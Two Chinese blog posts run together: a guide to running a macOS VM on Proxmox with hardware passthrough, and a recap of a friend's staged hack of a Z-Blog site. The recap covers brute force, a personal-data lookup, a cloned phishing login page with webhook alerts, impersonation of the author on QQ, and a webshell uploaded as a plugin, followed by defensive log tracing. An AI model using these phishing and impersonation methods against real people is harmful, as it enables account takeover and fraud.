回到之前的一张图,可以看到我们的虚拟机默认还挂载了 OpenCore 的 ISO 镜像:
大家可以把他比作是 USB 安装盘,我们以后每次开机总不能都插着 U 盘(ISO)启动吧,这样一点也不优雅,而且这个 ISO 镜像我们也不方便修改定制,所以需要把这个 OpenCore 的 ISO 镜像的 EFI 引导文件夹拷贝到硬盘当中。
使用 OCC 挂载硬盘盒 ISO 光盘后,直接将 ISO 光盘的 EFI 拷贝到硬盘里面即可:
拷贝完成后关机,就可以移除 OpenCore ISO 镜像了:
移除后重启,之后我们就可以直接编辑本地的 EFI 配置文件了,就像物理机黑苹果那样:
有黑苹果基础的同学还可以直接优化 EFI 配置,或者升级 OC 版本,没有基础的同学也没有关系,可以参考我写的这个教程慢慢来:国光的黑苹果安装教程:手把手教你配置 OpenCore
细心的小伙伴会发现,目前通过 PVE 的 Web 界面操作我们的键鼠实际上是有延迟的,毕竟还是走得 VNC 网络传输协议,为了更好的体验,我们可以分配一个键鼠直通到 PVE 虚拟机中:
PVE 支持几种 USB 设备添加,下面简单的挑着解释一下:
因为国光我不怎么拔插这些 USB 设备,所以我更偏向于后者,使用 USB 端口:
接下来我们要准备将其他硬件直通到 PVE 虚拟机了,要实现这个功能就得开启 IOMMU 了,并关闭 PVE 物理机显卡占用,直接编辑配置下 PVE 的 GRUB 即可:
nano /etc/default/grub将默认的GRUB_CMDLINE_LINUX_DEFAULT="quiet" 根据自己的 CPU 替换成如下内容即可:
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt pcie_acs_override=downstream,multifunction nofb textonly nomodeset video=efifb:off"GRUB_CMDLINE_LINUX_DEFAULT="quiet amd_iommu=on iommu=pt pcie_acs_override=downstream,multifunction nofb textonly nomodeset video=efifb:off"编辑完成后,更新一下 grub
update-grub
更新完成后重启 PVE 物理机,可以看到我们的物理机确实已经不占用显卡了,开机的界面都变了:
此时已经无法在物理机上操作 PVE 了(不过我们本来也用不到),因为之前安装配置静态 IP 的原因,所以我们依然可以通过 Web 端来正常管理我们的 PVE 虚拟机。
关掉显卡后的,我们就不可以通过 Web 界面走 VNC 协议来操作 PVE 虚拟机了:
所以下面第需要将物理显卡直通到虚拟机了。
因为 OC 引导黑苹果的话,使用 RX5500/5600/5700/6600/6800/6900 新的免驱系列显卡启动过程中会黑屏,所以先需要编辑我们的 OC 配置文件,在启动项添加 agdpmod=pikera 参数:
保存配置文件后关闭 PVE 黑苹果虚拟机。
添加 PCI 设备,找到我们的 RX 6600XT,这里没有显示出来,但是 Navi 23 确实是这个显卡的架构:
然后勾选全部选项:
RX 6600XT 直通很简单,此时已经可以丝滑的像物理机那样体验 macOS 了:
显卡工作了,感觉虚拟机瞬间流畅多了:
不过从图上可以看出来,目前内存这块还是未知的,速率也看不到,不要慌,我们后面来自定义内存一下就行了。
5000/6000 系列直通很顺利哎,试试看能不能再直通一个 RX 470 显卡,因为已经有 6600XT 了,所以不勾选「主 GPU」:
然后直接开机,居然也这么顺利:
核显不可以像上面独显那样直接就直通过去,直接就是模仿上述操作那样,直通过去的话,实际上核显并不能真正的工作。那么在 macOS 下怎么测试核显是否正常工作呢?国光我是使用随航测试的,因为随航很吃核显性能,如果随航都流畅丝滑工作的话,那么核显一定也是 OK 的。
PVE shell 环境下操作:
echo "vfio" >> /etc/modulesecho "vfio_iommu_type1" >> /etc/modulesecho "vfio_pci" >> /etc/modulesecho "vfio_virqfd" >> /etc/modules接着添加 intel 核显模块(驱动)黑名单,即让 GPU 设备在下次系统启动之后不使用这些驱动,把设备腾出来给vfio驱动用:
echo "blacklist snd_hda_intel" >> /etc/modprobe.d/pve-blacklist.confecho "blacklist snd_hda_codec_hdmi" >> /etc/modprobe.d/pve-blacklist.confecho "blacklist i915" >> /etc/modprobe.d/pve-blacklist.conf然后更新内核重启机器:
update-initramfs -ureboot检查之前配置的 VFIO 模块是否正常加载:
lsmod | grep vfio
上图这样表示是成功加载了的。
lspci -nn | grep Intel
从上图可以查询到:
8086:9bc58086:06c8将上述查询到的两个 ID 添加到 vfio.conf 文件中:
echo "options vfio-pci ids=8086:9bc5,8086:06c8" >> /etc/modprobe.d/vfio.conf上述配置完成后,我们就可以再 PVE Web 界面里面将核显添加到 PVE 黑苹果虚拟机下了:
测试了 N 次,发现只需要勾选「所有功能」即可:
因为这套 PVE 的 OC EFI 文件配置的默认机型是 iMac Pro1,1 这种是专门为无核显优化的,所以需要我们先将机型改为 iMac 20,1 这种更接近我们的实际硬件配置:
使用 Hackintool 工具拷贝出核显的设备地址:
然后使用 OCC 里面注入你的核显的显示 ID,玩过黑苹果的人可能会注入无头 ID (仅计算 ID),经过国光我多次测试,如果注入仅计算 ID 的话,那么此时的核显必然无法使用随航,具体原因不详:
另外一个测试就是多独显+核显的情况下,核显也无法正常工作,但是单个独显的情况下就是正常的,最终核显成功随航的效果如下:
因为我的 BCM94360CD 插的也是 PCIE 接口,所以我们可以在 PCI 设备里面找到我们的无线网卡:
也给他添加到虚拟机中:
要想实现免驱网卡的所有功能,光有 WiFi 是不够的,蓝牙也得需要直通进去,蓝牙走的是 USB 协议,所以我们可以在 USB 设备中添加我们的蓝牙设备:
记得取消 USB3 勾选:
WiFi、蓝牙 隔空投送均可以正常工作:
默认的内存为单条 16GB 内存,而且速度显示是未知的,看起来好奇怪哦:
使用 OC 简单操作一下,将这个 16GB 内存自定义为 4 个 4GB 内存:
改完重启看看效果,舒服了,看上去和白苹果一样:
macOS 12.3 之后,非苹果自家出的卡性能多多少少都大打折扣,不过兵来将挡水来土掩,我们可以把我们的 RX 6600XT 仿冒成 白苹果的 W6600X 专业卡来提高性能,操作也不复杂,详细可见下方 OC 的显卡属性配置:
下面的仿冒配置参数供网友参考复制:
<key>PciRoot(以你的实际显卡路径为准)</key><dict> <key>@0,name</key> <string>ATY,Henbury</string> <key>@1,name</key> <string>ATY,Henbury</string> <key>@2,name</key> <string>ATY,Henbury</string> <key>@3,name</key> <string>ATY,Henbury</string> <key>ATY,DeviceName</key> <string>W6600X</string> <key>ATY,EFIVersion</key> <string>01.01.270</string> <key>ATY,FamilyName</key> <string>Radeon Pro</string> <key>device_type</key> <string>ATY,HenburyParent</string> <key>model</key> <string>AMD Radeon RRO W6600X</string> <key>name</key> <string>ATY,Henbury</string></dict>最后的效果如下:
其实音频设备不添加的话也没有关系,默认我可以直通的两个独显是可以通过 DP/HDMI 传输音频数据的,也可以通过蓝牙来传输音频数据:
或者使用下图中这种 USB 声卡也是可以的:
UBS 设备直通到虚拟机前面也说过了,非常方便简单:
最后的效果如下:
默认的 EFI 引导的分辨率为 1920x1080@30,这样在 4k 显示器上图标就很糊,很不优雅,我们只需要将控制台分辨率调整为:Max,然后将 UIScale 改为 2 就可以在 4k 显示器上完美输出了:
默认的 EFI 引导的等待时间为0,这意味着不人为回车干预的话,会一直停留在 OC 的引导界面,这样不符合 PVE 的 风格,我们可以手动改一下等待时间为 5 秒,然后顺便取消一下平时不怎么使用的工具:
可以看出这个项目的默认 OC 还是很混乱的,这不能忍:
给他升级一下最新的 OC 0.7.9 然后精简一下吧,下面是国光我精简优化的思路:
ACPI 设置
只留几个实际加载的 SSDT:DTGP、EC、EHCI、PLUG
删除「删除」和「补丁」中没有加载的选项
内核设置
其他优化的话上文中都差不多提到了,目前感觉就上述两个部分需要调整的最多。
升级最新的 OC 0.7.9 版本,优化了 4k 屏幕显示,去除无用的引导项目,默认 5 秒自动进入 macOS 系统:
本次优化后的 OpenCoren 引导配置文件也开源了,感兴趣的朋友可以去 Github 查收
Github 项目地址:https://github.com/sqlsec/PVE-OpenCore
i7-10700 分配 4 核 CPU 的情况下,跑分情况,单核跑分:多核跑分:
单核跑分和物理黑苹果跑分对比损耗大概 **4%**:多核跑分因为我们直接砍了一半核心的原因,所以多核跑分也下降了近 1 半。
UHD 630 核显直通的跑分情况,OpenCL 跑分: 5043 Metal 跑分:4863,和物理核显相比损耗大概:3%
RX 6600XT 直通并仿冒白苹果 W6600X 的跑分情况,OpenCL 跑分:69022 Metal 跑分:90245 和物理独显相比损耗大概:3%
RX 470 直通的跑分情况,OpenCL 跑分: 35310 Metal 跑分:40967,这个 RX 470 好像和物理独显相比没有损坏,五五开了应该。
这个之前直通核显的时候测试过了,随航也是正常使用的:

三码正常的话,信息、iCloud、查找、应用商店这些应该也都很丝滑:
macOS 12 新功能:隔空播放接收器,iOS、iPad OS 也可以直接投屏到 PVE 黑苹果中:
macOS 12.3 新功能通用控制也是正常使用的,可以直接 Macbook Pro、iMac、iPad 共享一套键鼠:
说了这么多,肯定又小伙伴要跃跃欲试了,但是 PVE 黑苹果真的没有缺点了吗?当然不是,有!而且还不少。
假如你 OC 不熟悉不小心改错了本地硬盘的 EFI(没错 就我自己了),这个时候不要慌,我们重新编辑配置文件:
nano /etc/pve/qemu-server/100.conf 将之前分离的 OpenCore ISO 光盘重新添加回来即可:
ide0: local:iso/OpenCore-v16.iso,cache=unsafe然后在选项里面调整一下引导顺序,将 OpenCore 光盘移动到第一位:
这样应该可以成功进系统,然后直接纠正之前改错的 EFI 就行了。
或者你直接准备一个物理 USB U盘,里面放着自己对应的 OC EFI,直接添加物理 USB 设备引导也是完全 OK 的,这个修复思路和物理黑苹果一样。
系统更新的时候显示器会黑屏很长很长时间,这个时候你可能因为更新挂了,但是添加虚拟显示通过 PVE 来看又发现是正常的:
耐心等待系统更新完成即可,不能急躁。
Intel Power Gadget 无法正常工作,CPU 温度、频率以及核显频率都无法查看:
不过我们可以借助第三方的工具,比如 iStat Menus 这种来看 CPU 频率:
经典的双硬解查看软件,Video Proc 闪退:
这个是查看双硬解码的,不过从 Hackintool 结果来看硬解应该都是正常的:
第三方工具均无法正常识别各项传感器参数:
这个实际上上文中直通核显的部分提到过,这里再啰嗦一下。实际上对于黑苹果来说,核显仅计算模式是最完美的,也最符合白苹果 iMac 的调度策略的,但是 PVE 黑苹果下如果开启仅计算的话,核显工作就不正常,表现为随航无法显示画面,所以只能给开启核显输出的正常 ID 了:
虽然核显也驱动了,但是平台 ID 依然是未知的:
虽然这个有点大可不必,都 PVE 了,谁还在意睡眠唤醒呀,但是还是要说一下,PVE 确实无法正常睡眠唤醒。点击睡眠后,在 PVE 控制台可以看到 PVE 虚拟机处于暂停的状态:
得我们手动点击「再继续」才可以,但是大概率会出现黑屏的情况,无法正常继续,所以这块就酱吧,不搞这么细了。不过手动在 PVE 控制台中暂停你的 PVE 黑苹果虚拟机是完全 OK 的,此时你的黑苹果虚拟机画面会卡主不动,真的和传统的虚拟机一样。
总的来说 PVE 黑苹果难度蛮高的,除了要求你有 Linux 基础之外,最好还得懂黑苹果技术,否则优化对你来说是一件很困难的事情,当然默认的 PVE 开源项目也可以直接使用,但是能用和用的舒服之间的差距还是蛮大的。
下面简单总结下 PVE 黑苹果优缺点
优点
缺点
实际上最难的就是 macOS 安装了,PVE 安装 Windows 10 对比一下简直就是小菜一碟了。
我们虚拟机创建的是硬盘,但是 Windows 默认无法识别,需要我们先手动安装了驱动才能识别:
所以需要我们先额外给虚拟机挂载一个专门的 ISO 镜像包,这个镜像包里包含有一系列可能需要的驱动。
到镜像库先上传我们的 Windows 10 镜像和上面下载的 virtio 镜像:
这个没啥可说的,网上很多,我就不一一贴图了,直接看我最后的硬件配置吧:
可以看到添加了两个 ISO 光盘,为了方便我这里还直通了 1 个 USB 键盘。
将 Windows 10 安装盘优先引导启动:
然后很顺利的进入安装界面:
我们会卡在下面这一步:
选择光盘里面的驱动加载即可:
然后安装一下这个驱动:
后没有啥难点了,正常安装就行了:
Windows 10 老传统了,安装完先更新一波:
但是这样更新远远不够,我们查看设备管理器依然发现了有感叹号的设备,解决方法很简单,依然从之前的 virtio ISO 光盘里面搜索安装驱动就行了:
移除之前的两个 ISO 光盘,然后将 RX 6600XT 和键鼠直通到 Windows 10 虚拟机里面:
然后去 AMD 官网下载对应的显卡驱动即可:https://www.amd.com/zh-hans/support
哇舒服了,这个 4k 高刷显示器在 Windows 下终于跑满了,之前在 macOS 下最高只能跑 100Hz:

# 注释企业源echo "#deb https://enterprise.proxmox.com/debian/pve bullseye pve-enterprise" > /etc/apt/sources.list.d/pve-enterprise.list# PVE 软件源更换wget https://mirrors.ustc.edu.cn/proxmox/debian/proxmox-release-bullseye.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bullseye.gpgecho "deb https://mirrors.ustc.edu.cn/proxmox/debian/pve bullseye pve-no-subscription" > /etc/apt/sources.list.d/pve-no-subscription.listecho "deb https://mirrors.ustc.edu.cn/proxmox/debian/ceph-pacific bullseye main" > /etc/apt/sources.list.d/ceph.listsed -i.bak "s#http://download.proxmox.com/debian#https://mirrors.ustc.edu.cn/proxmox/debian#g" /usr/share/perl5/PVE/CLI/pveceph.pm# Debian 系统源更换sed -i.bak "s#ftp.debian.org/debian#mirrors.aliyun.com/debian#g" /etc/apt/sources.listsed -i "s#security.debian.org#mirrors.aliyun.com/debian-security#g" /etc/apt/sources.listecho "deb http://download.proxmox.com/debian/pve bullseye pve-no-subscription" >> /etc/apt/sources.list# 更新测试一下apt update每次登录看到这个是不是有点烦人:
执行如下命令即可删除:
# 修改 JS 源码sed -Ezi.bak "s/(Ext.Msg.show\(\{\s+title: gettext\('No valid sub)/void\(\{ \/\/\1/g" /usr/share/javascript/proxmox-widget-toolkit/proxmoxlib.js# 重启 PVE 服务systemctl restart pveproxy.service执行完成后,浏览器强制刷新缓存一下就可以了。
PVE 默认只可以看到下面这些基本信息,但是看不到具体的温度:
这都能忍,赶紧来安装配置一下。
lm-sensors 用于 CPU 以及主板温度检测,安装起来也很简单:
apt install lm-sensors -y安装完成后就可以在命令下查看 CPU 以及主板温度了:
hddtemp 用于 硬盘温度检测,安装起来也很简单:
apt install hddtemp -y安装完成查看硬盘温度:
root@pve:~# hddtemp /dev/sd?/dev/sda: WDC WD10EZEX-08M2NA0: 30°C/dev/sdb: ST2000DM006: 26°C因为我们后面需要放到 Web 界面显示,所以需要改这个软件 Web 端的权限:
chmod +s /usr/sbin/hddtempvim /usr/share/perl5/PVE/API2/Nodes.pm搜索 pveversion 位置,加入下面 2 行代码:
$res->{cpu_temperatures} = `sensors`; # 添加此行以获取 CPU 与主板温度$res->{hdd_temperatures} = `hddtemp /dev/sd?`; # 添加此行以获取硬盘温度最终效果如下:
vim /usr/share/pve-manager/js/pvemanagerlib.js搜索到 widget.pveNodeStatus 位置,修改 height: 300,每多一个硬盘,那么这个数据得增加 20,大家这里可以一个个尝试,我暂定修改为:400,最终效果如下:
继续搜索 pveversion ,添加 2 个item,根据自己上面显示的 CPU 核心数自行修改,我的是 8 核心,改成如下:
{ itemId: 'cpu_temperatures', colspan: 2, printBar: false, title: gettext('CPU温度'), textField: 'cpu_temperatures', renderer:function(value){ const c0 = value.match(/Core 0.*?\+([\d\.]+)Â/)[1]; const c1 = value.match(/Core 1.*?\+([\d\.]+)Â/)[1]; const c2 = value.match(/Core 2.*?\+([\d\.]+)Â/)[1]; const c3 = value.match(/Core 3.*?\+([\d\.]+)Â/)[1]; const c4 = value.match(/Core 4.*?\+([\d\.]+)Â/)[1]; const c5 = value.match(/Core 5.*?\+([\d\.]+)Â/)[1]; const c6 = value.match(/Core 6.*?\+([\d\.]+)Â/)[1]; const c7 = value.match(/Core 7.*?\+([\d\.]+)Â/)[1]; return `Core 0: ${c0} °C | Core 1: ${c1} °C | Core 2: ${c2} °C | Core 3: ${c3} °C | Core 4: ${c4} °C | Core 5: ${c5} °C | Core 6: ${c6} °C | Core 7: ${c7} °C` }},{itemId: 'hdd-temperatures',colspan: 2,printBar: false,title: gettext('硬盘温度'),textField: 'hdd_temperatures',renderer: function(value) { value = value.replace(/Â/g, ''); return value.replace(/\n/g, '<br>') }}最终效果如下:
最后保存文件,虽然代码看上去缩进不太对啊,还好我不是强迫症,引用罗老师那句话:又不是不能用!
systemctl restart pveproxy执行完成后,浏览器强制刷新缓存一下就可以了。
最终效果如下:
细心的小伙伴发现貌似还是少了 NVME 硬盘温度,可以不愧是你,其实之前通过 sensors 命令已经可以看到 NVME 硬盘温度了,那么如何让 NVME 硬盘温度在网页上显示呢?其实原理还是差不多的,不清楚大家为啥没研究这个,国光我也不想折腾了,前端水平本身就不太行,而且我也不是强迫症,就酱了,拜拜。
实际上 PVE 搞起来的话,只要键鼠、显示器足够,同时运行 Linux、macOS、Windows 是非常容易的事情,但是有 macOS 了谁还要 Linux?(拉仇恨),所以下面就演示一下 Windows 10 和 macOS 同时工作的最终形态:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>回想起上次博客被黑,还是在上次,不禁令人感慨。细心的网友发现我这里用了“又”字,确实,我博客在几年前被黑过一次,和这次有点异曲同工,但这次更加精彩一点,下面容国光我一一说来。
众所周知,作为一名信息安全从业者,只有我们黑别人的份,别人要是想黑掉我们的话,难度还是很高的。针对黑客的直接攻击比较有效的方法就是使用 0day 了,可以是系统级别的 0day 也可以是浏览器级别的 0day,这样成功率会比较高,除此之外想不到其他可以针对黑客的有效攻击了。
但是细心的网友肯定会发现了,前面我使用了“直接”这个词,没错, 你猜到了,我博客被黑的两次都是被间接攻击拿下的,第一次是 C 段,这一次是旁站。下面简单回顾下第一次被黑的经过。
第一次博客被挂黑客大约在 17 年左右,也是群里的师傅“友情测试”的。那个时候我的博客域名还没有备案,没法使用正规的阿里云服务器,所以只能使用不正规的香港 VPS,香港的 VPS 同 C 段下,很多黄赌毒的网站,十分脆弱不堪,那个时候使用“椰树”这种批量一键渗透攻击,都可以轻松 getshell 几个网站,然后那个师傅直接在 C 段的服务器上使用了 NetFuke 来进行 C 段 ARP 嗅探劫持:
然后所有访问我博客的流量都会被抓到黑客制作的“黑页”上面,第一次就是这样没了的。
国光我的博客坚持更新 5 年多了,树大招风,流量高的同时,我的博客也没少被攻击过,每天可以看到各种各样的爬虫、RSS 订阅或者扫描器的日志记录信息:
日均独立 IP 2k+ 个,单月独立 IP 8w+ 个:
因为经常看到各种 AWVS 日志,国光我一气之下写了一些特征页面来嘲讽这些只会用扫描器的脚本小子:
英文是直接谷歌翻译的,如果细心的网友发现语句不顺的话也不要吐槽 ,这又不是不能用?
除了经常被扫描器扫以外,DDOS 也是家常便饭了:
44G 算高了吗?当然不是:
总之博客一直多灾多难,国光我也睁一只眼闭一只眼,毕竟没有搞出啥太大的动静,直到今天被 Hexman Getshell 了才意识到问题的严重性。
国光我是大一的时候认识的 Hexman 的,那个时候他还是一个高中生,技术很强,思路也灵活。后面他高考了就销声匿迹了一段时间,结果没想到居然考上了西南科技大学,没想到可以学业爱好两边都兼顾好:
Hexman 原本也有自己的博客,我们友链挂了很久了,后面因为一些 DDDD 的原因,没有博客了,不过我的友链还有它存在过的证明:
后面又发生了一些事情,总之 Hexman 和我如今是同事关系了,也是一名 Bytedancer,好了关于 Hexman 的事情就介绍到这儿了。
年前 Hexman 突然在我们的 RedTeam 百灵鸟 群里说要打群里师傅们的博客:
都怪群主装 B,我博客躺着中枪了:
没想到 Hexman 蹲一个月没开玩笑,真的从年前搞到了年后!果然功夫不负有心人呀。
说到 RedTeam 百灵鸟 百灵鸟网友们肯定比较陌生,不过也可以理解,我们这个团队确实比较低调,目前也没有啥成名作品,唯一一次被大家所知就是年前一次 CVE 污染测试,结果被很多安全 从业者喷了, Alphabug 还被网暴了,后面公众号已经公开道歉过了:
下面是原文:百灵鸟安全团队 - Alphanug:一封关于推送CVE情报污染事件致歉信
既然都说到这里了,肯定得宣传一下我们的百灵鸟团队了,我们团队成员来自国内许多安全厂商 - 阿里、字节跳动、奇安信、深信服、安恒等,拥有丰富的红队实战经验,平时一直很低调,没有啥作品,目前一个还算不错的作品是我们的 DNSLog 平台。
Fuzz.red 安全快速的Dns、Http、Rmi、Ldap Log平台 – Hacking for fun!
讲道理颜值还是不错的,感兴趣的安全从业者们可以自己试试看哦。最后丢一个我们公众号的二维码就差不多了:
建议安全从业者关注一下哦,期待我们新的作品。
下面开始模拟 Hexman 的视角开始对 www.sqlsec.com 国光博客进行入侵,废话不多说,正文开始了。
国光博客 www.sqlsec.com 从主站直接入侵难度确实很高,简单指纹收集一下,发现国光博客是 Hexo 纯静态博客,纯静态博客没有后台可言,基本上没有漏洞点。直接钓鱼国光吧,他又是一个安全从业者,基本上是不会上钩的,所以就看下旁站或者子域名情况吧。
因为国光博客没有直接挂 CDN 的缘故,很容易获取到真实 IP,借助 FoFa、shodan、Zoomeye 都可以快速查看旁站和子域名的情况:
柿子还得找软的捏,子域名感觉不太行,不如重点关注一下这个很突兀的域名:www.jsanhuan.cn
为啥这个网站会搭建在国光的服务器下面?简单 Fuzz 一下发现是用 Z-Blog 的 CMS 搭建的:
而且后台地址也轻易的暴露了出来:
https://www.jsanhuan.cn/zb_system/login.php
继续信息收集获取到了站长的一些信息:
Soga,这个网站应该就是国光搭建的,所以才会出现在国光的服务器上面。
信息收集差不多了,下面来理一下对这个网站的攻击思路:
其中第一个方法比较传统,而且 Z-Blog 也不是那么大众,版本又是未知,根据国光的警惕性,也不可能用有漏洞的版本的,除非自己去下载最新的 Z-Blog 源码,自己来代码审计一下,不过这个审出来就是 0day 了,不去申请 CVE 或者 CNVD 编号的话就可惜了。
综上比较繁琐,暂且先不考虑。
实际上 Hexman 也尝试爆破过了,配合社工后的字典组合爆破的,不过没想到用户名压根不是 admin,23333:
既然上述两个方法都不太行的话,那么只能尝试社工钓鱼了。
先上 TG 去红鼻子机器人那里简单搜索一下,发现信息还算可以:
虽然没有直接获取到密码等信息,但是最起码知道了手机号和姓名了,也还算不错了。
既然这个网站是国光搭建的,所以网站管理员和国光肯定是认识的,但是钓鱼拿密码最直接的方式是让站长直接把密码再给你,当然这可能性不太高,所以我们得伪造一个假的一模一样的登录页面:
https://freeland-1252849447.file.myqcloud.com/index.html
因为无缘无故找站长会很奇怪,得搞一个理由,就是网站的序列号要过期了,需要重新激活:
页面仿真度这块是没得说的,站长粗心没有看域名的话,是可能会一不小心输入真实的密码的。
补充一个细节,这个钓鱼页面也考虑到到受害者故意输入错误的账号和密码了,有一个登录中转,只有真的是正确的密码才可以登陆,才可以被记录。
正常情况下管理员不会立即上钩,我们不能一直后台一直等着吧,所以得考虑使用飞书的 WebHook 机器人来上线通知一下,这样我们可以第一时间拿到管理员的密码:
安利一下,飞书确实是个不错的产品,下面是飞书机器人创建的一些细节信息:
当上线的时候直接进行消息提示:
下面是这个飞书机器人的主要代码细节:
有钓鱼页面的话,直接尝试传统的邮件钓鱼的方法:
也许是站长不怎么看邮箱?或者安全意识比较高,一直都没有上钩!可恶啊~
车到山前必有路,既然邮件钓鱼不行的话,我们不妨大胆一点,直接来伪造一下国光,头像资料啥的尽量和真的国光靠拢,下面是本次伪造的假的国光小号:
应该差不多了,希望站长的安全意识不要那么高。
通过上面的社工信息,加站长 QQ 好友很容易获得信任,成为好友的话也不要磨叽,直接开始话术吧:
钓鱼也并不是一帆顺风的,从 1 月 27 日年前开始钓鱼,直到年后才有了一点进展。 终于在某一天,这个田姓人员真的去登录钓鱼网站了:
后台已经实时获取到了对方的键盘记录:
飞书机器人这边也提示有鱼上钩了:
拿到用户名和密码,尝试去后台登录看看,一次成功,Bingo:
可以看到 Z-Blog 官方项目:https://github.com/zblogcn/zblogphp
里面也嘲讽了一些安全初学者:
致某些安全初学者:在管理员权限下,通过后台主题管理/插件管理上传 PHP 文件不是漏洞!自从 2017 年起,CNVD 已经给我们报了至少五次相关“漏洞”(如 CNVD-2019-12772、CNVD-2019-43601)。请不要用这种东西浪费我们和 CNVD 的时间,同时通过刷低水平“漏洞”骗到的 CNVD 编号对你的简历没有任何帮助。
官方暗示很明显了,后台主题管理/插件管理上传可以通过上传 getshell,那么就根据这个思路写一个 ZBA 插件吧。
ZBA 插件需要满足一定的格式要求:
官方文档也很详细,根据官方插件的来就行了:
本次 zba 插件编写好直接上传就可以 getshell 了:
废话不多说,直接上哥斯拉连接:
然后传一个 txt 证明自己来过:
最后再去群里炫耀一下任务完成:
不得不说,没想到 Hexman 是这样的人,真的为了日我的站,从年前搞到年后,不愧是小黑屋锻炼过的男人:
1 月 27 日的时候还和他讨论了技术问题:
前脚刚讨论完,后脚就开始日我的博客,呜呜呜
本次复盘差不多结束了,现在该轮到我这边溯源和安全加固一下了。
既然被攻击了,肯定第一时间得看日志分析一下黑客的攻击行为吧,直接日志分析走起来。根据时间段筛选日志,也不是很多,不到 2w 行日志。
时间范围: 2022-01-25 15:10 ,根据 UA 特征为 macOS,而且配合访问 IP 应该就是北京字节跳动的出口 IP:
可以看到对网站先进行踩点测试:
在短时间内访问了如下目录,很明显的信息收集行为:
探测的不多,估计先谷歌看看这个 CMS 有啥漏洞去了,或者去生成社工字典去了。
换了另一个出口 IP(北京 联通)爆破了 9233 次:
可惜没有成功:
2022-02-08 09:16 ,一大早 Hexman 发现有鱼上钩了,但是估计还没有起床,直接使用了 Android 11; M2012K11AC 手机来访问我的网站,IP 为被联通:
可以看到新建文章的 URL,说明应该进了后台了,再验证一下机型:
我记得 Hexman 用的是小米,机型也无限接近,这个应该就是 Hexman 本人了。
2022-02-08 10:46 ,Hexman 应该到公司了,然后第一件事情就是迫不及待的打开电脑来登录网站后台,使用的是北京联通出口 IP:
然后从 10.47 一直到 10.52 这 5 分钟时间内一直进行附件上传 getshell 测试,发现并不顺利。
2022-02-08 11:15 Hexman 开始关注到插件地方可能可以 getshell 了:
终于在 2022-02-08 11:44 的时候成功了,shell 的路径为:/zb_users/incas/incas.php
shell 没有问题,确实是 webshell:
再看下 Hexman 的发群时间也完美符合:
getshell 第一时间上传了个 txt 并发群里面了:
至此 Hexman 的全过程的攻击线路也全部理清,人证物证都在,直接 110 走起了(手动狗头):
备份日志方便溯源抓人,备份源码以便东山再起,总之常备份是个好习惯:
找站长聊聊,让他不要轻易配合陌生人的操作:
最后更改一下已经泄露的密码。
本次 Hexman 的渗透还是比较贴近实战的,没想到国光我也可以翻车,大意了,没有闪,233333333333
最后提醒一下,非法渗透是违法的哦,如果我们互不认识的话,你渗透的我的站点,我会看日志溯源抓人的哦,什么你要直接 rm -rf /* ?? 23333 阿里云那边也有快照备份哦,想啥呢,总之写本文更多意义是思路分享和纪念一下,大家看看就好了,就酱了,下次见!
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>